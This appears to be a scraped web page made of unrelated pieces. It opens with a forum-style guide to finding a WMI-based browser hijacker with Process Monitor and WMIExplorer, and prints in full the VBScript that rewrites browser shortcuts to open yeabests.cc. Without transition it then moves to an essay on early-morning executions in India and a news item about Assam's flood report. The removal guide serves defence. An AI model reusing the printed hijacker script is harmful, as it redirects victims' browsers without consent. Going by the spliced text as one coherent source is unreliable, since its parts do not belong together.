Hello all,

 I was already frustrated from this virus when it hijacked my pc last week.

Moving to steps

Files Required

ProcessMonitor

WMIExplorer

Open Process Monitor Goto Process Monitor filter
Select Path -> Contains -> Google Chrome.lnk then Include
Click Add
Press Ok



First remove chrome shortcut containing extra link like --load extension .... bla bla bla

Now constantly check chrome shortcut and As soon as it again gets renamed note the time and
Come back to process monitor and note the file name which had just done "Write" Operation
That's it this file was responsible for doing the changes.

Now I got clue that scrcons.exe was responsible to do this.

Ok now  moving forward I research a lot and got that this is advance version of running vbscript program without storing the file.

Voila

Now Open WMIExplorer


Below is the VB code that was executing

Below is the content of VBScript used to hijack browsers:
Dim objFS
Set objFS = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Const link = "http://yeabests.cc"
browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe")
Set BrowserDic = CreateObject("scripting.dictionary")
For Each browser In browsers
 BrowserDic.Add LCase(browser), browser
Next
Dim FoldersDic(12)
Set WshShell = CreateObject("Wscript.Shell")
FoldersDic(0) = "C:\Users\Public\Desktop"
FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu"
FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(4) = "C:\Users\MyUser\Desktop"
FoldersDic(5) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu"
FoldersDic(6) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
FoldersDic(7) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(8) = "C:\Users\MyUser\AppData\Roaming"
FoldersDic(9) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch"
FoldersDic(10) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu"
FoldersDic(11) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
Set fso = CreateObject("Scripting.Filesystemobject")
For i = 0 To UBound(FoldersDic)
 For Each file In fso.GetFolder(FoldersDic(i)).Files
  If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
   set oShellLink = WshShell.CreateShortcut(file.Path)
   path = oShellLink.TargetPath
   name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
   If BrowserDic.Exists(LCase(name)) Then
    oShellLink.Arguments = link
    If file.Attributes And 1 Then
     file.Attributes = file.Attributes - 1
    End If
    oShellLink.Save
   End If
  End If
 Next
Next
createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0

Now this may seem a bit offending to some pseudo criminal sympathizers, but in India, our judiciary system is a bit slow or rusty for awarding death sentences which comes only in rarest of the rare cases. Rapists and even terrorists spends loads of time in prison cell before we finalize their punishment. And in the midst of deciding, they actually get a lot of popularity which indeed helps many lost souls to follow the path of stupidity.

India’s great martyrs BHAGAT SINGH along with SUKHDEV and RAJGURU were executed on 23 March 1931 at 7:30 pm in the Lahore jail. Even low lives like Afzal Guru and Ajmal Kasab were executed early in the morning around 7 AM. So what is with the timing ? Does this have any relevance with a old legendary story ?

We have seen a lot of executions in movies. But hardly anyone of us have ever witnessed a real life face off. During the time of execution, there is just a judicial executioner, a magistrate or his representative, a doctor and some policemen. It is a total private affair and its live telecast is not subjected for mass consumption. Although there had been some exceptions where videos of execution of Sadam Hussain once got viral on Youtube, however it has been removed on the basis of humanitarian grounds.

Some prison policemen believe that the other inmates who might be friend with the prisoner who is being executed can posses as a threat of unrest at the appointed hour. So the execution usually takes place while everyone in the prison are asleep.



Another reason for early executions is that a death warrant is often good for just one day. In California, if the execution is not carried out within that 24-hours period, the state must apply for a re-petition in the court for another death warrant. Now this might take another day. So just in order to avoid such things, executions are done early in the morning.



Also, another reason is that pre and post execution exercises takes a lot of time which includes medical tests and many file works as a form of standard procedure. So in order to not to disturb anyone’s daily schedule, the execution is done at the early hours.



Also, the reason behind early morning executions is to ensure that the the dead body does not starts decaying and the dead person’s family members find enough time to perform the last rites within that day itself.

In a huge embarrassment, the newly elected BJP government of Assam included a 2-year-old photo of Bangladesh’s Noakhali flood in its interim report on Assam flood to Union Home Minister Rajnath Singh on Saturday.

The report, handed over by Assam Chief Minister Sarbananda Sonowal to Singh during his day-long visit to survey the flood condition in the state, comprises nine photographs. Out of this, one is the famous picture of Noakhali flood, where a young boy rescues and carries a baby deer amidst flood water.